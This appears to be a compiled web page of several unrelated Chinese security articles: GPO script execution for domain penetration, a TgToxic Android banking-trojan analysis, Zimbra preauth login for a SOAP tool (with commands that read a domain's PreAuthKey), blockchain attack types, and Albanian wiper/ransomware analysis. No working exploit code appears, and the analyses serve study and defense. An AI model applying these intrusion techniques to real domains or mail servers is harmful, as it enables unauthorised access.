HireHackking

0x00 前言在之前的文章《域渗透——利用GPO中的计划任务实现远程执行》 介紹了通過域組策略(Group Policy Object)遠程執行計劃任務的方法，本文將要介紹類似的另外一種方法：通過域組策略(Group Policy Object)的腳本實現遠程執行。 0x01 簡介本文將要介紹以下內容: 通過Group Policy Management Console (GPMC) 實現腳本的遠程執行 通過命令行實現腳本的遠程執行 新建GPO實現遠程執行 修改已有的GPO，實現遠程執行 實現細節 0x02 通過Group Policy Management Console (GPMC) 實現腳本的遠程執行1、創建GPO 2.配置GPO 0x03 通過命令行實現腳本的遠程執行1.作用於全域 2.作用於指定目標 0x04 修改已有的GPO，實現遠程執行 0x05 直接執行遠程腳本當我們選擇直接執行組策略文件夾中的bat文件，會彈框提示無法執行，如下圖 0x06 小結本文介紹了通過域組策略(Group Policy Object)中的腳本實現遠程執行的方法，分享實現細節和利用思路。

最近趨勢科技的研究人員發現了自2022年7月以來針對中國台灣、泰國和印度尼西亞的Android手機用戶的持續惡意軟件活動，並將其命名為TgToxic。該惡意軟件竊取用戶的憑證和資產，如數字錢包中的加密貨幣，以及銀行和金融應用程序中的資金。 通過分析惡意軟件的自動化功能，研究人員發現了攻擊者濫用了合法的測試框架Easyclick，為點擊和手勢等功能編寫了基於javascript的自動化腳本。研究人員發現攻擊者的目標是通過嵌入多個虛假應用程序的銀行木馬，趨勢科技根據其特殊的加密文件名將其檢測為AndroidOS_TgToxic，該木馬從金融和銀行應用程序(如加密貨幣錢包、手機上官方銀行應用程序的憑據和存款)中竊取受害者的資產。雖然之前針對的是中國台灣的用戶，但在撰寫本文時，研究人員已經觀察到針對泰國和印度尼西亞用戶的欺詐活動和網絡釣魚。建議用戶小心打開來自未知電子郵件和消息發送者的嵌入鏈接，並避免從第三方平台下載應用程序。 發現過程自2022年下半年以來，研究人員一直在監測這個活動，發現它的基礎設施和目標在不斷變化。以下是該活動時間表： 2022年7月：Facebook上出現了欺詐性帖子，通過社交工程在社交媒體平台上嵌入了針對中國台灣省用戶的釣魚鏈接； 2022年8月下旬至10月：色情欺詐還針對中國台灣和印度尼西亞用戶，誘使他們註冊，以便攻擊者竊取他們的證件； 2022年11月至2023年1月：短信釣魚(SMiShing)針對泰國用戶，在此期間使用的一些網絡釣魚網站還顯示，攻擊者通過加密貨幣騙局將其活動進一步擴展到印度尼西亞。 早期活動：通過Facebook進行欺詐2022年7月，研究人員發現兩個可能被黑客入侵的Facebook賬戶在一些台灣社區團體上發布了詐騙信息，聲稱用戶可以獲得颶風、洪水和新冠疫情的救助補貼。這些帖子告訴用戶可以在download.tw1988[.]link中註冊申請，而這實際上是一個釣魚網站。不知情的用戶可能會成為受害者，因為該鏈接偽裝成政府官方網站https://1988.taiwan.gov.tw/，該官方網站用於向困難人群提供補貼。 Facebook上發布的詐騙帖子示例，文字翻譯為“夏季將發放28000項福利，現在輸入https[:]//st7[.]fun/20就可以收到你的勞工補貼”。該應用程序還顯示了潛在受害者就業類別的選項：“農民和漁民的生活津貼”、“無固定雇主的自營職業工人和勞動生活津貼”，以及“旅遊巴士、出租車司機、導遊、領隊和其他補貼”。 色情詐騙和加密貨幣通過追踪TgToxic使用的網絡基礎設施，研究人員隨後發現了中國台灣和印度尼西亞色情和加密貨幣詐騙的幕後黑手。這些惡意應用程序也可以通過down[.]tw1988[.]link從同一網站下載，並偽裝成約會、消息、生活方式或加密貨幣相關應用程序，誘騙用戶安裝並啟用其權限。 虛假應用程序在下載後立即啟動註冊頁面以誘導用戶，惡意軟件TgToxic開始在後台運行 在印度尼西亞，虛假應用程序誘導潛在受害者進入色情勒索和加密貨幣詐騙釣魚網站 針對泰國的網絡釣魚活動當研究人員繼續監控TgToxic惡意軟件及其網絡基礎設施時，他們發現，在2022年底至2023年1月初的幾週內，該活動背後的攻擊者開始以泰國用戶為目標，並觀察到類似的色情和網絡釣魚誘餌針對中國台灣用戶，該組織開始添加惡意代碼，以竊取銀行應用程序中的憑據。研究人員還發現，這兩個攻擊已經引起了當地媒體的關注，並在Facebook上受到了大眾社區的報導。 泰國當地流行的社交媒體賬戶討論了使用流行聊天和約會應用程序的假冒版本的網絡釣魚計劃(左)，以及與一名受害者的對話，該受害者也證實了惡意軟件是通過smishing發送的(右) 網絡釣魚、色情和加密貨幣騙局與TgToxic惡意軟件的最新部署樣本都有關係，因為它們都是從同一個網站下載的，下載鏈接為down[.]tw1988[.]link。通過觀察命令和控制（CC）服務器之間的通信，這些應用程序和惡意軟件的CC從api[.]tw1988[.]link更改為test[.]ja7[.]site，後來更改為us[.]ja7[.]site。 TgToxic的技術分析研究人員分析了惡意軟件TgToxic是基於一個名為Eacyclick的合法自動化測試框架開發的，該框架支持通過JavaScript編寫自動化腳本。該腳本可用於自動劫持Android設備的用戶界面（UI），以自動執行諸如監視用戶輸入、執行點擊和手勢等功能。 使用上述框架，TgToxic可以開發自己的自動化腳本，通過竊取受害者放置用戶名和密碼的用戶憑據來劫持加密貨幣錢包和銀行應用程序。一旦獲得了憑證，攻擊者就可以在不需要用戶批准或確認的情況下，使用官方應用程序進行小額交易。與其他銀行惡意軟件一樣，TgToxic還可以通過短信和安裝的應用程序竊取用戶的個人信息，這些信息可以用來通過進一步掃描設備是否存儲了攻擊者感興趣的應用程序來選擇目標受害者。 目前，TgToxic仍在快速發展，並繼續添加新功能，複製更多應用程序以竊取憑據並適應不同的應用程序UI，並從受害者那裡收集更多信息。在這次分析中，研究人員選取了針對泰國移動用戶的最新樣本進行分析。 代碼混淆和有效負載加密TgToxic惡意軟件使用兩種方法來逃避檢測和分析，研究人員將其分為兩部分： 代碼混淆：TgToxic混淆了類名、方法名和字段名，這使得一些分析師更難進行逆向工程。 有效負載加密：TgToxic將Easylick腳本放在一個名為“tg.iapk”的資產文件中，該文件是一個加密的Zip文件，並將在應用程序啟動時動態讀取其中的內容。該惡意軟件實現了一種無文件的方式來解密和加載負載，並在解壓縮後添加了一個額外的邏輯。 APK結構和有效負載 解密有效負載並濫用輔助功能服務劫持設備UI tg.iapk加密過程 正如McAiden的研究人員所指出的，tg.iapk是一個加密的.zip文件。通過靜態分析，研究人員發現解壓密碼經過特殊編碼並存儲在.zip註釋部分，該部分通常用於記錄.zip描述。此部分的內容不會影響壓縮後的內容。要獲得.zip文件的密碼，註釋部分的內容將按照代碼中指定的方式進行解碼。 Zip密碼解碼功能 解壓縮後，研究人員發現所有文件都是二進製文件，所有文件的前四個字節都是“0x00092383”，這是專門加密的文件。通過反向分析，研究人員找到了解密函數。為了隱藏解密細節，使用反射調用密鑰類和密鑰方法，並加密相關的符號名稱。 特殊加密文件 加密文件解密功能 通過分析解密函數，研究人員得到了加密文件的格式。加密文件對密碼進行了編碼，並將其保存在文件的開頭（緊跟魔術數字），同時將加密數據保存在文件末尾。密碼的解碼方式與zip密碼的解碼方法相同。 特殊加密文件格式 運行時引擎中運行的預編譯腳本自動化腳本被預編譯為Java，並使用Rhino的運行時，Rhino是一個在Java中運行JavaScript的開源引擎。調用函數中的每個開關分支都是一個JavaScript函數，研究人員將解釋代碼如何使用來自惡意軟件的簡單函數運行。 從一個Javascript函數編譯的Java字節碼 此函數用於收集設備信息並發送到CC服務器。它首先遍歷一個預定義的變量“walletListAry”，其中包含攻擊者感興趣的加密貨幣錢包的包名列表。然後，惡意軟件調用“isAppExist”來檢查應用程序是否在系統中。如果確認，包名稱將被推送到數組中。 然後，惡意軟件以同樣的方式檢查電子郵件應用程序，並創建一個.json對象，其中包含它收集的信息。 “apps”字段包含已安裝的加密貨幣錢包的包名稱，“mails”字段包含安裝的電子郵件應用的包名稱。最後，它調用“JSON.stringify”將.JSON對象序列化為字符串，並調用“emitEnc”通過WebSocket將信息發送到CC服務器。 CC通信和數據洩露惡意軟件使用WebSocket作為腳本執行的CC通道。它將調用“StartWs”連接到WebSocket服務器，然後設置“new_msg”事件偵聽器以接收和解析CC命令。完整的CC命令列表如下所示： 另一個值得注意的細節是，TgToxic將根據受感染設備的地區連接到不同的CC服務器。雖然研究人員仍在繼續跟踪，但除了目前確定的三個國家之外，還沒有在其他地區或國家發現TgToxic活動，但他們認為，這次攻擊背後的攻擊者正試圖根據這些不同服務器的可用性將其活動擴展到其他國家。 根據設備區域獲取CC主機前綴 數據通過CC通道洩露。以短信竊取為例，惡意軟件首先調用“getSmsInPhone”從郵件收件箱中提取所有短信，然後通過WebSocket CC通道將竊取的數據上傳到服務器。 提取所有文本消息 自動授予權限和防止卸載TgToxic可以劫持系統應用程序自動授予自己權限，並在受害者試圖卸載惡意軟件時阻止卸載。以下是惡意軟件試圖劫持的系統應用程序及其相應用途的列表： 惡意軟件試圖控制的系統應用程序列表 控制自動轉賬的金融應用程序TgToxic實施自動轉賬服務（ATS），用戶不知情的情況下向攻擊者轉賬。該惡意軟件首先秘密竊取密碼並解鎖手勢，當它檢測到用戶擁有錢包應用程序時，惡意軟件將檢查特定的活動，並通過密鑰日誌記錄用戶是否輸入密碼。如果用戶用手勢解鎖設備，它還可以截屏。 一旦收到來自CC服務器的“walletSend”命令，惡意軟件就會覆蓋全黑屏幕，以防止受害者意識到惡意活動和傳輸。然後，它打開錢包應用程序並收集鏈類型和余額等詳細信息。然後，TgToxic將通過無障礙服務模擬用戶點擊所有鏈類型的特定收件人： 1.檢查鏈類型是否為“usdt”，並輸入錢包詳細信息； 2.點擊轉移按鈕； 3.輸入接收者地址； 4.輸入轉賬資金； 5.進入轉賬詳情頁面； 6.輸入密碼； 7.點擊“確認”按鈕； 檢查鏈類型並輸入錢包詳細信息 輸入被盜的地址信息和收件人的地址 輸入錢包密碼並確認交易 目標應用程序以下是惡意軟件從中竊取受害者信息的應用程序列表，列表來自針對泰國的最新樣本： Android設備被攻擊後，惡意軟件從中獲取信息的應用程序列表： 總結儘管部署時間不同，但研究人員發現針對中國台灣、印度尼西亞和泰國的社交媒體網絡釣魚活動和網絡基礎設施類似。當受害者從攻擊者提供的網站下載虛假應用程序時，或受害者試圖通過WhatsApp或Viber等消息應用程序直接向攻擊者發送消息時，攻擊者會欺騙用戶註冊、安裝惡意軟件並啟用其所需的權限。一旦獲得授權，手機就會被攻擊者自動控制，設備中的合法應用程序及其資產將面臨風險。 從分析來看，惡意軟件本身雖不復雜，但很有趣。濫用Easylick和Autojs等合法的自動化框架可以更容易地開發複雜的惡意軟件，特別是對於可以濫用Accessibility服務的Android銀行木馬。框架的複雜性也使逆向工程分析變得困難。由於框架的便利性和反逆向工程設置，未來很有可能有更多的攻擊者可以利用並使用這種方法。 通過對攻擊者的調查，研究人員認為負責這個活動的組織或個人之前並未出現過，但對該地區的目標比較了解，比如繁體和簡體中文用法。研究人員觀察到的一個有趣的細節是，2022年8月，台灣有很多濫用津貼援助主題的騙局。 雖然研究人員也對受害者的部署和企圖有深入了解，但關於當地受害者的實際人數的信息很少。 緩解措施避免安裝來自未知來源和平台的應用程序。不要點擊直接嵌入短信或電子郵件中的應用程序、安裝程序、網站，尤其是來自未知發件人的應用程序； 不要啟用敏感的權限，例如從未知應用程序啟用或下載的輔助功能服務； 還有就是要關註一下攻擊跡象，比如雖然設備未使用，但電池電量消耗很大，這就是危險信號。

0x00 前言本文將要繼續擴充開源代碼Zimbra_SOAP_API_Manage的實用功能，添加預認證的登錄方式，分享開發細節。 0x01 簡介本文將要介紹以下內容： 預認證 計算preauth SOAP實現 開源代碼 0x02 預認證參考資料：https://wiki.zimbra.com/wiki/Preauth 簡單理解：通過preAuthKey結合用戶名、時間戳和到期時間，計算得出的HMAC作為身份驗證的令牌，可用於用戶郵箱和SOAP登錄 默認配置下，Zimbra未啟用預認證的功能，需要手動開啟 (1)開啟預認證並生成PreAuthKey命令如下： 其中， 對應測試環境的命令為：/opt/zimbra/bin/zmprov generateDomainPreAuthKey mail.test.com 測試環境的輸出如下： (2)讀取已有的PreAuthKey命令如下： 對應測試環境的命令為：/opt/zimbra/bin/zmprov gd mail.test.com zimbraPreAuthKey 測試環境的輸出如下： 注： 如果Zimbra存在多個域名，那麼會有多個PreAuthKey 0x03 計算preauth參考資料中給出了多種計算preauth的示例，但是Python的實現代碼不完整，這裡補全Python3下的完整實現代碼，詳細代碼如下： 代碼會自動生成可用的URL，瀏覽器訪問可以登錄指定郵箱 0x04 SOAP實現SOAP格式： SOAP格式示例： 需要timestamp和preauth作為參數，使用預認證登錄的詳細代碼如下： 以上代碼通過預認證登錄，返回可用的token，通過該token可以進行後續的SOAP操作，列出文件夾郵件數量的實現代碼： 0x05 開源代碼新的代碼已上傳至github，地址如下： https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py 添加了使用預認證登錄的功能 0x06 小結本文擴充了Zimbra SOAP API的調用方法，添加了使用預認證登錄的功能。

區塊鏈攻擊向量：最安全技術的漏洞（上） 3. 智能合約攻擊Apriorit 擁有從事智能合約開發和區塊鏈測試的團隊。我們已經積累了豐富的基於以太坊、EOS、NEO平台的智能合約漏洞分析和規避經驗。與智能合約相關的主要區塊鏈安全問題涉及源代碼、網絡虛擬機、智能合約運行時環境以及區塊鏈本身中的錯誤。讓我們看看這些攻擊向量中的每一個。 合約源代碼漏洞如果智能合約的源代碼存在漏洞，就會對簽署合約的各方構成風險。例如，2016 年以太坊合約中發現的錯誤使其所有者損失了8000 萬美元。 Solidity 中的一個常見漏洞提供了一種可能性，可以將控制權委託給其他智能合約中不受信任的功能，稱為重入攻擊。在此攻擊期間，合約A 從合約B 調用具有未定義行為的函數。反過來，合約B 可以調用合約A 的函數並將其用於惡意目的。 虛擬機中的漏洞以太坊虛擬機(EVM) 是一種基於分佈式堆棧的計算機，其中執行基於以太坊的區塊鏈的所有智能合約。 EVM 最常見的漏洞如下： 不可變缺陷——區塊鏈塊本質上是不可變的，這意味著智能合約一旦創建，就無法更改。但是，如果智能合約在其代碼中包含任何錯誤，它們也無法修復。網絡犯罪分子有可能發現並利用代碼漏洞來竊取Ether 或創建新的分叉，就像DAO 攻擊一樣。 加密貨幣在轉移過程中丟失——如果以太幣被轉移到一個沒有任何所有者或合同的孤立地址，這是可能的。 訪問控制中的錯誤——以太坊智能合約中存在一個遺漏修改器錯誤，允許黑客訪問合約中的敏感功能。 短地址攻擊——這是可能的，因為EVM 可以接受錯誤填充的參數。黑客可以通過向潛在受害者發送特製地址來利用此漏洞。例如，在2017 年對Coindash ICO 的一次成功攻擊中，對Coindash 以太坊地址的修改使受害者將他們的以太幣發送到黑客的地址。 此外，黑客可以通過應用其他典型的破壞區塊鏈技術的方法來破壞智能合約，包括DDoS、eclipse 和各種低級別攻擊。 然而，Cardano 和Zilliqa 等較年輕的區塊鏈使用不同的虛擬機：IELE、KEVM 等。這些新的區塊鏈聲稱在其協議中保證智能合約的安全性。 4.交易驗證機制攻擊與金融機構不同，區塊鏈只有在網絡中的所有節點都達成一致後才能確認交易。在包含交易的區塊被驗證之前，該交易被歸類為未驗證。然而，驗證需要一定的時間，這為網絡攻擊創造了一個完美的載體。 雙花是一種利用交易驗證機制的常見區塊鏈攻擊。區塊鏈上的所有交易都需要用戶驗證才能被確認為有效，這需要時間。攻擊者可以利用這種延遲來獲得優勢，並誘使系統在多個交易中使用相同的硬幣或代幣。 圖2. 雙花攻擊 以下是基於利用交易發起和確認之間的中間時間的最常見攻擊類型。 芬尼襲擊當一筆交易被預挖到一個區塊中，並且在該預挖區塊被釋放到網絡之前創建了一個相同的交易，從而使第二個相同的交易無效時，Finney 攻擊是可能的。 種族攻擊當攻擊者創建兩個相互衝突的交易時，就會執行競態攻擊。第一筆交易被發送給受害者，受害者無需等待交易確認即可接受付款（例如發送產品）。同時，將向攻擊者返回相同數量的加密貨幣的衝突交易被廣播到網絡，最終使第一筆交易無效。 矢量76Vector76 是之前兩次攻擊的組合。在這種情況下，惡意礦工創建兩個節點，其中一個僅連接到交換節點，另一個連接到區塊鍊網絡中連接良好的對等點。之後，礦工創建兩筆交易，一筆高價值和一筆低價值。然後，攻擊者預挖並從交換服務中扣留一個包含高價值交易的區塊。在區塊公告之後，攻擊者迅速將預挖區塊直接發送到交易所服務。它與一些礦工一起將預挖區塊視為主鏈並確認此交易。因此，這種攻擊利用了這樣一個事實，即網絡的一部分看到攻擊者已包含在塊中的交易，而網絡的另一部分看不到該交易。 交易所服務確認大額交易後，攻擊者向主網發送小額交易，主網最終拒絕大額交易。結果，攻擊者的賬戶被記入了高價值交易的金額。儘管這種類型的攻擊成功的可能性很高，但它並不常見，因為它需要一個託管的電子錢包，該電子錢包在一次確認後接受付款，並需要一個節點來處理傳入的交易。 替代歷史攻擊另一種歷史攻擊——也稱為區塊鏈重組攻擊——即使在多次確認的情況下也可能發生，但需要黑客提供大量的計算能力。在這種情況下，惡意用戶向收件人發送交易，同時使用返回相同代幣的另一筆交易挖掘替代分叉。例如，即使接收方在n 次確認後認為交易有效並發送產品，如果攻擊者釋放更長的鏈並取回硬幣，接收方也可能會損失金錢。 最新的一次區塊鏈重組攻擊發生在2020 年8 月的Ethereum Classic上，當時一名礦工使用舊軟件並在挖礦時暫時無法訪問互聯網。當兩個版本的區塊鏈競爭網絡中節點的有效性並導致插入大約3000 個區塊時，重組就發生了。 51% 或多數攻擊當黑客控制了51% 的網絡哈希率並創建一個最終優先於現有分叉的替代分叉時，多數攻擊是可能的。這種攻擊最初是唯一已知的區塊鏈漏洞，在不久的過去似乎不切實際。然而，至少有五種加密貨幣——Verge 、 ZenCash、Monacoin、Bitcoin Gold 和Litecoin Cash——已經遭受了51% 的攻擊。在每一種情況下，網絡罪犯都收集了足夠的哈希算力來破壞網絡並賺取數百萬美元。 最近在2020 年8 月發生的對以太坊經典(ETC) 的51% 攻擊導致價值約560 萬美元的ETC 加密貨幣被雙花。顯然，黑客非常了解ETC 協議，並在四天內設法挖掘了4,280 個區塊，直到平台發現攻擊。事件發生僅五天后，ETC 就遭遇了第二次51% 攻擊，其中一名礦工進行了4000 個區塊的網絡重組。 圖3. 多數攻擊 不幸的是，所有小型加密貨幣仍面臨多數攻擊的風險。由於這些加密貨幣吸引的礦工較少，攻擊者只需租用計算能力即可獲得網絡的大部分份額。 Crypto51的開發人員試圖提醒人們注意破解較小加密貨幣的潛在風險。他們的網站顯示了對各種區塊鏈進行51% 攻擊的預期成本。 防止雙花攻擊的可能措施包括在監聽期間監控收到的交易、轉發雙花嘗試、插入其他節點以觀察交易以及拒絕直接傳入連接。 此外，還有一項稱為閃電網絡的創新技術，旨在解決交易驗證機制中的漏洞利用問題。該網絡允許用戶通過雙向支付渠道網絡即時驗證交易，而無需委託資金保管。但是，它仍然容易受到DDoS 攻擊，其中一次已經發生在2018 年3 月。 5、礦池攻擊對於像比特幣這樣的主要加密貨幣，個體礦工已經不可能賺取利潤，因此礦工通過創建礦池來統一他們的算力。這使他們能夠開採更多的區塊，並且每個人都能獲得一份獎勵。目前，最大的比特幣礦池是BTC.com、AntPool 和ViaBTC。根據Blockchain.com 的數據，它們加起來佔比特幣網絡總哈希率的52% 以上。 礦池是一個不錯的目標。惡意礦工試圖通過利用區塊鏈共識機制中常見的Web 應用程序漏洞來控制內部和外部的礦池。 以下是對礦池最常見的攻擊。 自私挖礦自私挖礦是指惡意礦工試圖通過在一段時間內不向網絡廣播挖出的區塊然後一次釋放幾個區塊，使其他礦工失去他們的區塊來增加他們的獎勵份額。防止此類攻擊的可能措施是將礦工隨機分配到礦池的各個分支，優先選擇時間戳較新的區塊，並在最大可接受時間內生成區塊。這種類型的攻擊也稱為塊扣留。 圖4. 自私挖礦攻擊 由於2014 年對Eligius礦池的自私挖礦攻擊，礦工損失了300 BTC。自私挖礦有很高的成功機會，並且可能發生在所有加密貨幣上。針對自私挖礦的可能預防措施包括只註冊受信任的礦工，並對現有的比特幣協議進行更改以隱藏部分工作量證明和完整工作量證明之間的差異。 預扣後分叉預扣後分叉(FAW) 是自私挖礦的一種變體，事實證明它對攻擊者更有利可圖。在FAW 攻擊期間，惡意礦工隱藏一個獲勝的區塊，然後丟棄它或稍後釋放它以創建一個分叉，具體取決於情況。由Ujin Kwon 領導的一組研究人員明確描述了這種攻擊的概念。 結論儘管區塊鏈的受歡迎程度仍在上升，但越來越多的針對區塊鏈的網絡攻擊可能對其聲譽產生負面影響。了解最常見的區塊鏈漏洞和攻擊類型對於關注區塊鏈安全並想知道首先要保護什麼的每個人來說都是必須的。

2022年7月17日，阿爾巴尼亞新聞媒體報導了一次大規模網絡攻擊，該攻擊影響了阿爾巴尼亞政府的電子政務系統。後來經過調查，這些網絡攻擊是一個威脅活動的一部分，其目的可能是癱瘓該國的計算機系統。 2022年9月10日，阿爾巴尼亞當地新聞報導了針對阿爾巴尼亞TIMS、ADAM和MEMEX系統的第二波網絡攻擊。 大約在同一時間，我們發現了勒索程序和擦除程序樣本與第一波中使用的類似，儘管有一些有趣的修改，可能允許規避安全控制和提高攻擊速度。在這些變化中，最主要的是嵌入一個原始磁盤驅動程序，在惡意程序內部提供了直接的硬盤訪問，修改了元數據，並使用Nvidia洩露的代碼簽名證書對惡意程序進行簽名。 在這篇文章中，我們介紹了： 1.用於針對阿爾巴尼亞個機構的第一波和第二波勒索程序和擦除式惡意程序，並詳細說明了與之前已知的ROADSWEEP勒索程序和ZEROCLEARE變體的聯繫。 2.攻擊者使用英偉達(Nvidia)和科威特電信公司(Kuwait Telecommunications Company)的證書來簽署他們的惡意程序，前者已經洩露，但我們不確定他們是如何得到後者的。 3.我們發現了使用不同語言的不同攻擊組織之間的潛在合作關係，以及可能使用AnyDesk作為啟動勒索程序/擦除攻擊感染的初始入口點。 4.在第二波攻擊中實現自動化和加速擦拭的變化讓人想起中東臭名昭著的Shamoon擦除攻擊攻擊。 下面，我們將比較和討論第一波和第二波勒索程序和擦除式惡意程序之間的區別。 初始感染——不同攻擊組織之間合作關係和使用AnyDesk實用程序的證據雖然我們無法在分析的攻擊中確定攻擊者的初始入口點，但在第二波攻擊後的幾天，我們注意到有攻擊者可以訪問另一個非政府但重要的阿爾巴尼亞機構的AnyDesk帳戶，並建議說波斯語的黑客使用它來部署勒索程序或清除惡意程序。由此我們推測，第二波攻擊的初始入口點是通過合法的遠程訪問程序(如AnyDesk)，特別是使用的擦除攻擊修改僅限在驅動程序安裝時自動執行，由於時間/訪問窗口有限，可能需要緊急執行。攻擊者和訪問提供者似乎屬於不同的攻擊組織，使用不同的語言。 使用科威特電信公司簽名證書的勒索程序如下所示： 第二波樣本與第一波樣本具有相同的簽名證書參數，該樣本與科威特電信公司有關。目前尚不清楚攻擊者如何能夠使用科威特電信公司的證書籤署其惡意程序，但我們懷疑它是被盜的。在本文發佈時，該證書已不再有效並已被撤銷。 在初始執行後，第二波勒攻擊中使用的索程序檢查攻擊者提供的任意六個或更多參數，而第一波樣本則檢查五個參數或更多，這是一個有助於防禦逃避檢測的小修改。然而，在一台受影響的計算機上進行的攻擊分析表明，在第二波攻擊中，攻擊者在提供類似於第一波攻擊的七位數時，沒有使用BAT文件調用勒索程序，而是使用六個零“000000”從命令行立即調用第二波攻擊中使用的勒索程序。如果由於沒有提供正確的參數而導致勒索程序執行失敗，則第二波攻擊示例將顯示與第一波攻擊不同的消息，第二波攻擊消息類似於由PDF到DOC轉換器顯示的錯誤消息。 第一波攻擊示例，執行失敗後的消息 第二波攻擊示例，執行失敗後的不同消息 第二波攻擊勒索程序樣本繼續執行並檢查互斥鎖Screenlimitsdevices#77!這個值與第一波攻擊樣本的互斥鎖不同： abcdefghijklmnoklmnopqrstuvwxyz01234567890abcdefghijklmnopqrstuvwxyz01234567890 儘管我們根據其行為將這種惡意程序稱為勒索程序，但加密文件實際上是無法恢復的。當比較第二波勒索程序樣本和第一波勒索程序樣本時，我們注意到兩者都有相同的，並且都使用CreateFile和WriteFile api來覆蓋文件。在執行過程中，第二波攻擊勒索程序試圖解密並執行嵌入式腳本、惡意程序設置或API函數名。在第一波攻擊和第二波攻擊中使用的加密算法都是RC4。但是，在第二波中用於解密的RC4密鑰已被更改，這是另一種逃避檢測的嘗試。 第一波攻擊中的RC4密鑰：8C E4 B1 6B 22 B5 88 94 AA 86 C4 21 E8 75 9D F3 第二波攻擊中的RC4密鑰：F0 B4 ED D9 43 F5 C8 43 C9 D0 A2 4F 22 9B BC 3A 值得注意的是，在這兩波攻擊中，RC4解密方法都使用CryptoAPI (CryptDecrypt)而不是通常的S盒方法。在密碼學中，S盒(Substitution-box)是對稱密鑰算法執行置換計算的基本結構。 S盒用在分組密碼算法中，是唯一的非線性結構，其S盒的指標的好壞直接決定了密碼算法的好壞。對第二波分析表明，勒索程序可能是通過內部網絡部署的，可能來自另一台受感染的設備。在勒索程序執行之前，我們沒有看到任何其他東西被刪除或執行，並且勒索程序可執行文件名稱是隨機生成的，這可能是由攻擊者用來通過網絡部署它的工具(例如Mellona.exe)生成的。 儘管在第二波勒索程序與第一波攻擊中的完全不同，但勒索信的功能仍然保持了下來，包括反映阿爾巴尼亞和伊朗之間地緣政治緊張局勢的政治信息。 第一波和第二波勒索程序中的勒索信 使用Nvidia簽名證書的擦除攻擊 與第二波攻擊勒索程序樣本類似，攻擊者對第二波攻擊擦除程序進行了幾次修改，可能是為了逃避檢測。變化主要有三個： 修改的惡意程序簽名； 在擦除程序中嵌入EldoS RawDisk驅動程序； 驅動安裝後自動擦除命令； 在2019年的ZEROCLEARE（ZeroCleare和惡意程序Shamoon同宗，都是出自伊朗資助的頂級黑客組織之手）和DUSTMAN（該程序以刪除設備的數據為目的，瞄準的是中東的能源和工業部門）事件中，擦除程序和原始磁盤驅動程序均沒有簽名，因此無法直接訪問原始磁盤進行快速數據擦除。因此，擦除攻擊器必須使用第三方加載器，如TDL(用於無簽名驅動程序的簽名加載器)來安裝無簽名原始磁盤驅動程序，允許擦除程序直接訪問原始磁盤，使用DeviceControl API方法擦除數據。然而，在針對阿爾巴尼亞的第一波攻擊中，攻擊者使用科威特電信公司的證書對第一波攻擊擦除攻擊進行了簽名，從而消除了對第三方加載器的需求。速度和自動化的改進讓我們想起了之前在中東的Shamoon攻擊。 由於第一波攻擊使用的擦除程序是在2022年7月被曝光的，而且可能會避免靜態檢測，攻擊者在2022年9月使用英偉達洩露的簽名證書對第二波攻擊使用的擦除程序進行了簽名，再次取消了對原始磁盤驅動程序的第三方加載器的需求。 在第一波攻擊中，擦除程序希望在執行目錄或系統目錄中找到原始磁盤驅動程序。但驅動程序並沒有被擦除，攻擊者可能用了其他方法。相反，在第二波攻擊中，攻擊者將簽名的原始磁盤驅動程序嵌入到擦除攻擊可執行文件中，先刪除它，然後安裝。此外，第二波中攻擊者使用的驅動程序似乎複製了微軟的diskdump.sys崩潰轉儲驅動程序（版本10.0.19041.682）中的元數據和一些函數，作為避免檢測的另一種方法。驅動程序安裝命令後擦除活動自動啟動，與第一波攻擊擦除攻擊不同，安裝是第一步，執行擦拭是第二步。 不過在大多數情況下，第一波攻擊和第二波攻擊的擦除程序是一樣的，包括依賴相同的身份驗證密鑰來訪問原始磁盤驅動程序，以及使用相同的DeviceControl API方法，但有一個例外，如下所示。值得注意的是，IOCTL_DISK_GET_LENGTH_INFO方法僅適用於講波斯語的APT攻擊。 我們懷疑攻擊第二波攻擊目標是阿爾巴尼亞的執法機構，因為它與2022年7月網絡攻擊浪潮中針對阿爾巴尼亞政府的網絡攻擊一致。 總結我們在本文討論了針對阿爾巴尼亞各機構的第二波勒索和擦除攻擊樣本的變化，其最終目的都是逃避檢測並造成最大損失。 除了在第二波中為逃避檢測所做的更改外，我們懷疑攻擊者需要一個自動和快速的擦除攻擊執行。在第二波攻擊中，原始磁盤驅動程序被嵌入到惡意程序中，並且在驅動程序安裝後立即啟動擦除程序，這與第一波攻擊的過程相反。 最後，對於防御者來說應從以下兩方面入手進行防禦： 監控遠程程序活動(如AnyDesk)情況，以防未經授權使用； 始終尋找和監控過期或洩露的簽名證書，因為攻擊者可以使用它們來加載和執行惡意程序。

區塊鏈並不像我們想像的那麼安全。儘管安全性貫穿於所有區塊鏈技術，但即使是最強大的區塊鏈也會受到現代網絡犯罪分子的攻擊。 Apriorit 專家已經分析了針對Coincheck、Verge和Bancor交易所的攻擊，這些攻擊極大地損害了區塊鏈本身的聲譽。 區塊鏈可以很好地抵抗傳統的網絡攻擊，但網絡犯罪分子正在想出專門針對區塊鏈技術的新方法。在本文中，我們描述了針對區塊鏈技術的主要攻擊媒介，並了解了迄今為止最重大的區塊鏈攻擊。 網絡犯罪分子已經設法濫用區塊鏈來執行惡意操作。如果攻擊者沒有收到加密貨幣獎勵，像WannaCry和Petya這樣的勒索軟件攻擊就不會如此大規模。現在，看起來黑客正在考慮利用區塊鏈安全漏洞作為他們的主要收入來源。 2019 年3 月，白帽黑客在短短30 天內在各種區塊鍊和加密貨幣平台中發現了43 個漏洞。他們甚至在Coinbase、EOS和Tezos等著名平台中發現了漏洞。 然而，弱點通常很難檢測到，因為它們可能隱藏在不顯眼的地方。例如，Parity 多重簽名錢包是通過破壞其中具有提取功能的庫而被黑客入侵的。攻擊者設法將庫本身初始化為錢包，並聲稱擁有它的所有者權利。結果，573 個錢包受到影響，價值3000 萬美元的加密貨幣被盜，另外被白帽黑客組織救出的1.8 億美元後來歸還給了合法所有者。 通過攻擊比特幣和以太坊等龐大的網絡，網絡犯罪分子表明他們足夠聰明，可以反駁區塊鏈安全的神話。讓我們考慮五個最常見的區塊鏈攻擊向量： 五個區塊鏈攻擊向量 1.區塊鍊網絡攻擊區塊鍊網絡包括創建和運行交易並提供其他服務的節點。例如，比特幣網絡由發送和接收交易的節點以及將批准的交易添加到區塊的礦工組成。網絡罪犯尋找網絡漏洞並通過以下類型的攻擊利用它們。 分佈式拒絕服務分佈式拒絕服務(DDoS) 攻擊很難在區塊鍊網絡上執行，但它們是可能的。 當使用DDoS 攻擊區塊鍊網絡時，黑客打算通過大量請求消耗其所有處理資源來關閉服務器。 